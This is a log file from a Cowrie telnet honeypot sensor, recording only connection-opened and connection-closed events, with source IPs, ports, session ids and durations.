{"eventid":"cowrie.session.closed","duration":31.030185222625732,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:36:41.425534Z","src_ip":"94.46.12.68","session":"f2a4bbfb3896","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"94.46.12.68","src_port":56198,"dst_ip":"10.17.0.5","dst_port":23,"session":"dc95b07a6e48","protocol":"telnet","message":"New connection: 94.46.12.68:56198 (10.17.0.5:23) [session: dc95b07a6e48]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:36:41.581495Z"}
{"eventid":"cowrie.session.closed","duration":30.818207025527954,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:36:41.748351Z","src_ip":"94.46.12.68","session":"8b02165f1dcc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.72.47.216","src_port":44470,"dst_ip":"10.17.0.5","dst_port":23,"session":"2ac7a8a7769c","protocol":"telnet","message":"New connection: 62.72.47.216:44470 (10.17.0.5:23) [session: 2ac7a8a7769c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:36:41.764280Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.72.47.216","src_port":45904,"dst_ip":"10.17.0.5","dst_port":23,"session":"ed077d213182","protocol":"telnet","message":"New connection: 62.72.47.216:45904 (10.17.0.5:23) [session: ed077d213182]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:36:42.603510Z"}
{"eventid":"cowrie.session.closed","duration":31.042092323303223,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:36:43.096192Z","src_ip":"94.46.12.68","session":"5d5f54ca7100","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.43032932281494,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:36:43.108370Z","src_ip":"146.185.21.169","session":"2aa91be41aa1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.890258312225342,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:36:43.589891Z","src_ip":"94.46.12.68","session":"5a4b48425403","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.948504209518433,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:36:44.272267Z","src_ip":"94.46.12.68","session":"741c6b1b6e3d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.77417540550232,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:36:46.118847Z","src_ip":"94.46.12.68","session":"08220e04b632","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.72.47.216","src_port":54798,"dst_ip":"10.17.0.5","dst_port":23,"session":"a13355e09f8a","protocol":"telnet","message":"New connection: 62.72.47.216:54798 (10.17.0.5:23) [session: a13355e09f8a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:36:46.750896Z"}
{"eventid":"cowrie.session.closed","duration":29.812245845794678,"message":"Connection lost after 29 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:36:47.055785Z","src_ip":"146.185.21.169","session":"0fb9b7c2ed23","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00095796585083,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:36:50.928702Z","src_ip":"193.27.197.195","session":"83604076af9b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"146.185.21.169","src_port":44114,"dst_ip":"10.17.0.5","dst_port":23,"session":"e19e4d00c39f","protocol":"telnet","message":"New connection: 146.185.21.169:44114 (10.17.0.5:23) [session: e19e4d00c39f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:36:51.236525Z"}
{"eventid":"cowrie.session.connect","src_ip":"193.27.197.200","src_port":47240,"dst_ip":"159.203.135.109","dst_port":23,"session":"d90fb85118ec","protocol":"telnet","message":"New connection: 193.27.197.200:47240 (159.203.135.109:23) [session: d90fb85118ec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:36:51.276958Z"}
{"eventid":"cowrie.session.closed","duration":31.460463523864746,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:36:51.534793Z","src_ip":"94.46.12.68","session":"32fc83c2743d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.72.47.216","src_port":35726,"dst_ip":"10.17.0.5","dst_port":23,"session":"81902eaab999","protocol":"telnet","message":"New connection: 62.72.47.216:35726 (10.17.0.5:23) [session: 81902eaab999]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:36:51.589057Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.72.47.216","src_port":36352,"dst_ip":"10.17.0.5","dst_port":23,"session":"9036e3a0f434","protocol":"telnet","message":"New connection: 62.72.47.216:36352 (10.17.0.5:23) [session: 9036e3a0f434]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:36:51.822917Z"}
{"eventid":"cowrie.session.closed","duration":30.7747859954834,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:36:52.066804Z","src_ip":"146.185.21.169","session":"39ffc008a6e6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.39097809791565,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:36:52.323660Z","src_ip":"94.46.12.68","session":"ebb4ea4c16ab","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.65.3.189","src_port":45664,"dst_ip":"10.17.0.5","dst_port":23,"session":"cf4836e4e728","protocol":"telnet","message":"New connection: 69.65.3.189:45664 (10.17.0.5:23) [session: cf4836e4e728]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:36:52.750520Z"}
{"eventid":"cowrie.session.closed","duration":30.859379053115845,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:36:53.119711Z","src_ip":"146.185.21.169","session":"20152c5e9a02","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.553080558776855,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:36:53.520995Z","src_ip":"94.46.12.68","session":"793adad511f9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.0018584728241,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:36:53.536651Z","src_ip":"146.185.21.169","session":"3d609df93556","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"94.46.12.68","src_port":35738,"dst_ip":"10.17.0.5","dst_port":23,"session":"c4df8764a75c","protocol":"telnet","message":"New connection: 94.46.12.68:35738 (10.17.0.5:23) [session: c4df8764a75c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:36:54.282843Z"}
{"eventid":"cowrie.session.closed","duration":31.078223943710327,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:36:54.359562Z","src_ip":"146.185.21.169","session":"fe70722781dc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.949892282485962,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:36:54.437321Z","src_ip":"94.46.12.68","session":"9964601266a0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"94.46.12.68","src_port":36016,"dst_ip":"10.17.0.5","dst_port":23,"session":"6acff1c2b09c","protocol":"telnet","message":"New connection: 94.46.12.68:36016 (10.17.0.5:23) [session: 6acff1c2b09c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:36:54.552931Z"}
{"eventid":"cowrie.session.connect","src_ip":"94.46.12.68","src_port":36630,"dst_ip":"10.17.0.5","dst_port":23,"session":"c8ea92cbb71c","protocol":"telnet","message":"New connection: 94.46.12.68:36630 (10.17.0.5:23) [session: c8ea92cbb71c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:36:54.720784Z"}
{"eventid":"cowrie.session.closed","duration":30.23055601119995,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:36:55.077829Z","src_ip":"146.185.21.169","session":"2a678341ee54","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.244261264801025,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:36:55.083787Z","src_ip":"146.185.21.169","session":"7dc720125717","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.925732612609863,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:36:55.595211Z","src_ip":"94.46.12.68","session":"bbfe89af0e89","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.0018253326416,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:36:55.730179Z","src_ip":"146.185.21.169","session":"217a7e0963bf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.65.3.189","src_port":45620,"dst_ip":"10.17.0.5","dst_port":23,"session":"64d6b8a3bbdf","protocol":"telnet","message":"New connection: 69.65.3.189:45620 (10.17.0.5:23) [session: 64d6b8a3bbdf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:36:55.749571Z"}
{"eventid":"cowrie.session.connect","src_ip":"146.185.21.169","src_port":51368,"dst_ip":"10.17.0.5","dst_port":23,"session":"973d720ddd75","protocol":"telnet","message":"New connection: 146.185.21.169:51368 (10.17.0.5:23) [session: 973d720ddd75]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:36:55.949859Z"}
{"eventid":"cowrie.session.closed","duration":32.74475121498108,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:36:56.109613Z","src_ip":"146.185.21.169","session":"cc54376036e7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.84769558906555,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:36:56.499500Z","src_ip":"94.46.12.68","session":"7d57f7a52ea3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.786398887634277,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:36:57.088663Z","src_ip":"146.185.21.169","session":"7a41233d163d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"94.46.12.68","src_port":44780,"dst_ip":"10.17.0.5","dst_port":23,"session":"e94d9e622a3c","protocol":"telnet","message":"New connection: 94.46.12.68:44780 (10.17.0.5:23) [session: e94d9e622a3c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:36:58.626364Z"}
{"eventid":"cowrie.session.connect","src_ip":"94.46.12.68","src_port":45050,"dst_ip":"10.17.0.5","dst_port":23,"session":"42ce0c560adc","protocol":"telnet","message":"New connection: 94.46.12.68:45050 (10.17.0.5:23) [session: 42ce0c560adc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:36:58.734878Z"}
{"eventid":"cowrie.session.closed","duration":45.012977838516235,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:36:59.100303Z","src_ip":"146.185.21.169","session":"8c678883a9e9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"94.46.12.68","src_port":46154,"dst_ip":"10.17.0.5","dst_port":23,"session":"d005f7cdacb7","protocol":"telnet","message":"New connection: 94.46.12.68:46154 (10.17.0.5:23) [session: d005f7cdacb7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:36:59.428909Z"}
{"eventid":"cowrie.session.connect","src_ip":"94.46.12.68","src_port":44502,"dst_ip":"10.17.0.5","dst_port":23,"session":"003d215c5eb9","protocol":"telnet","message":"New connection: 94.46.12.68:44502 (10.17.0.5:23) [session: 003d215c5eb9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:36:59.506117Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.72.47.216","src_port":51766,"dst_ip":"10.17.0.5","dst_port":23,"session":"b81ff8cd522a","protocol":"telnet","message":"New connection: 62.72.47.216:51766 (10.17.0.5:23) [session: b81ff8cd522a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:36:59.638640Z"}
{"eventid":"cowrie.session.closed","duration":30.763185262680054,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:36:59.666381Z","src_ip":"94.46.12.68","session":"56efbaaafcaf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"94.46.12.68","src_port":47888,"dst_ip":"10.17.0.5","dst_port":23,"session":"52dddbdfa033","protocol":"telnet","message":"New connection: 94.46.12.68:47888 (10.17.0.5:23) [session: 52dddbdfa033]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:37:00.505049Z"}
{"eventid":"cowrie.session.connect","src_ip":"94.46.12.68","src_port":46274,"dst_ip":"10.17.0.5","dst_port":23,"session":"befb3c76f184","protocol":"telnet","message":"New connection: 94.46.12.68:46274 (10.17.0.5:23) [session: befb3c76f184]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:37:00.571125Z"}
{"eventid":"cowrie.session.connect","src_ip":"94.46.12.68","src_port":48376,"dst_ip":"10.17.0.5","dst_port":23,"session":"3f0a82ecb22b","protocol":"telnet","message":"New connection: 94.46.12.68:48376 (10.17.0.5:23) [session: 3f0a82ecb22b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:37:00.697598Z"}
{"eventid":"cowrie.session.closed","duration":31.077250957489014,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:37:02.451505Z","src_ip":"94.46.12.68","session":"9959a697a234","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.72.47.216","src_port":56956,"dst_ip":"10.17.0.5","dst_port":23,"session":"d206092f1314","protocol":"telnet","message":"New connection: 62.72.47.216:56956 (10.17.0.5:23) [session: d206092f1314]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:37:02.571684Z"}
{"eventid":"cowrie.session.connect","src_ip":"94.46.12.68","src_port":53434,"dst_ip":"10.17.0.5","dst_port":23,"session":"9f28347949c4","protocol":"telnet","message":"New connection: 94.46.12.68:53434 (10.17.0.5:23) [session: 9f28347949c4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:37:03.217744Z"}
{"eventid":"cowrie.session.connect","src_ip":"94.46.12.68","src_port":56170,"dst_ip":"10.17.0.5","dst_port":23,"session":"1bc7c37e6844","protocol":"telnet","message":"New connection: 94.46.12.68:56170 (10.17.0.5:23) [session: 1bc7c37e6844]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:37:04.673212Z"}
{"eventid":"cowrie.session.connect","src_ip":"94.46.12.68","src_port":55782,"dst_ip":"10.17.0.5","dst_port":23,"session":"b3083d5e2a34","protocol":"telnet","message":"New connection: 94.46.12.68:55782 (10.17.0.5:23) [session: b3083d5e2a34]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:37:05.533754Z"}
{"eventid":"cowrie.session.connect","src_ip":"94.46.12.68","src_port":58296,"dst_ip":"10.17.0.5","dst_port":23,"session":"7f7335102487","protocol":"telnet","message":"New connection: 94.46.12.68:58296 (10.17.0.5:23) [session: 7f7335102487]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:37:05.712435Z"}
{"eventid":"cowrie.session.connect","src_ip":"94.46.12.68","src_port":58856,"dst_ip":"10.17.0.5","dst_port":23,"session":"ec3b0d9c8016","protocol":"telnet","message":"New connection: 94.46.12.68:58856 (10.17.0.5:23) [session: ec3b0d9c8016]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:37:05.888198Z"}
{"eventid":"cowrie.session.closed","duration":31.109285831451416,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:37:06.187345Z","src_ip":"94.46.12.68","session":"ec5acc02df89","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"94.46.12.68","src_port":33250,"dst_ip":"10.17.0.5","dst_port":23,"session":"26e763257bcf","protocol":"telnet","message":"New connection: 94.46.12.68:33250 (10.17.0.5:23) [session: 26e763257bcf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:37:07.219268Z"}
{"eventid":"cowrie.session.closed","duration":31.173126220703125,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:37:07.284739Z","src_ip":"94.46.12.68","session":"1ab5dfa0eab7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.65.3.189","src_port":49404,"dst_ip":"10.17.0.5","dst_port":23,"session":"dbecf423b869","protocol":"telnet","message":"New connection: 69.65.3.189:49404 (10.17.0.5:23) [session: dbecf423b869]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:37:07.349504Z"}
{"eventid":"cowrie.session.connect","src_ip":"94.46.12.68","src_port":34468,"dst_ip":"10.17.0.5","dst_port":23,"session":"55a323090b0f","protocol":"telnet","message":"New connection: 94.46.12.68:34468 (10.17.0.5:23) [session: 55a323090b0f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:37:07.848268Z"}
{"eventid":"cowrie.session.closed","duration":0.8984251022338867,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:37:08.247804Z","src_ip":"69.65.3.189","session":"dbecf423b869","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"146.185.21.169","src_port":38104,"dst_ip":"10.17.0.5","dst_port":23,"session":"029139b46c83","protocol":"telnet","message":"New connection: 146.185.21.169:38104 (10.17.0.5:23) [session: 029139b46c83]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:37:09.574666Z"}
{"eventid":"cowrie.session.connect","src_ip":"94.46.12.68","src_port":39168,"dst_ip":"10.17.0.5","dst_port":23,"session":"422a80e6b0d9","protocol":"telnet","message":"New connection: 94.46.12.68:39168 (10.17.0.5:23) [session: 422a80e6b0d9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:37:10.275320Z"}
{"eventid":"cowrie.session.connect","src_ip":"146.185.21.169","src_port":40460,"dst_ip":"10.17.0.5","dst_port":23,"session":"59e98a5f7f0f","protocol":"telnet","message":"New connection: 146.185.21.169:40460 (10.17.0.5:23) [session: 59e98a5f7f0f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:37:10.868542Z"}
{"eventid":"cowrie.session.closed","duration":30.846901655197144,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:37:11.484182Z","src_ip":"94.46.12.68","session":"d8a955f74f23","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.814754486083984,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:37:12.396079Z","src_ip":"94.46.12.68","session":"dc95b07a6e48","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.6476149559021,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:37:12.411743Z","src_ip":"62.72.47.216","session":"2ac7a8a7769c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.61753821372986,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:37:13.220880Z","src_ip":"62.72.47.216","session":"ed077d213182","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"94.46.12.68","src_port":47578,"dst_ip":"10.17.0.5","dst_port":23,"session":"ea3a40b24e16","protocol":"telnet","message":"New connection: 94.46.12.68:47578 (10.17.0.5:23) [session: ea3a40b24e16]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:37:14.439873Z"}
{"eventid":"cowrie.session.connect","src_ip":"94.46.12.68","src_port":48088,"dst_ip":"10.17.0.5","dst_port":23,"session":"d28cd2f3eba5","protocol":"telnet","message":"New connection: 94.46.12.68:48088 (10.17.0.5:23) [session: d28cd2f3eba5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:37:14.642687Z"}
{"eventid":"cowrie.session.connect","src_ip":"94.46.12.68","src_port":48492,"dst_ip":"10.17.0.5","dst_port":23,"session":"525321d9f08e","protocol":"telnet","message":"New connection: 94.46.12.68:48492 (10.17.0.5:23) [session: 525321d9f08e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:37:14.791252Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.72.47.216","src_port":54116,"dst_ip":"10.17.0.5","dst_port":23,"session":"7287ae85a8d7","protocol":"telnet","message":"New connection: 62.72.47.216:54116 (10.17.0.5:23) [session: 7287ae85a8d7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:37:14.833824Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.72.47.216","src_port":57770,"dst_ip":"10.17.0.5","dst_port":23,"session":"085d75d56704","protocol":"telnet","message":"New connection: 62.72.47.216:57770 (10.17.0.5:23) [session: 085d75d56704]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:37:16.671380Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.72.47.216","src_port":58398,"dst_ip":"10.17.0.5","dst_port":23,"session":"0348b0bab59d","protocol":"telnet","message":"New connection: 62.72.47.216:58398 (10.17.0.5:23) [session: 0348b0bab59d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:37:16.817256Z"}
{"eventid":"cowrie.session.connect","src_ip":"146.185.21.169","src_port":45548,"dst_ip":"10.17.0.5","dst_port":23,"session":"7187a9a9a4d3","protocol":"telnet","message":"New connection: 146.185.21.169:45548 (10.17.0.5:23) [session: 7187a9a9a4d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:37:16.843722Z"}
{"eventid":"cowrie.session.closed","duration":30.36363410949707,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:37:17.114428Z","src_ip":"62.72.47.216","session":"a13355e09f8a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.72.47.216","src_port":33620,"dst_ip":"10.17.0.5","dst_port":23,"session":"64b6a83f8cf2","protocol":"telnet","message":"New connection: 62.72.47.216:33620 (10.17.0.5:23) [session: 64b6a83f8cf2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:37:18.624851Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.72.47.216","src_port":39746,"dst_ip":"10.17.0.5","dst_port":23,"session":"f5d997739a35","protocol":"telnet","message":"New connection: 62.72.47.216:39746 (10.17.0.5:23) [session: f5d997739a35]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:37:21.605499Z"}
{"eventid":"cowrie.session.closed","duration":30.30989933013916,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:37:22.132689Z","src_ip":"62.72.47.216","session":"9036e3a0f434","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.670722484588623,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:37:22.259681Z","src_ip":"62.72.47.216","session":"81902eaab999","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.72.47.216","src_port":46096,"dst_ip":"10.17.0.5","dst_port":23,"session":"f141b618c2cb","protocol":"telnet","message":"New connection: 62.72.47.216:46096 (10.17.0.5:23) [session: f141b618c2cb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:37:24.740751Z"}
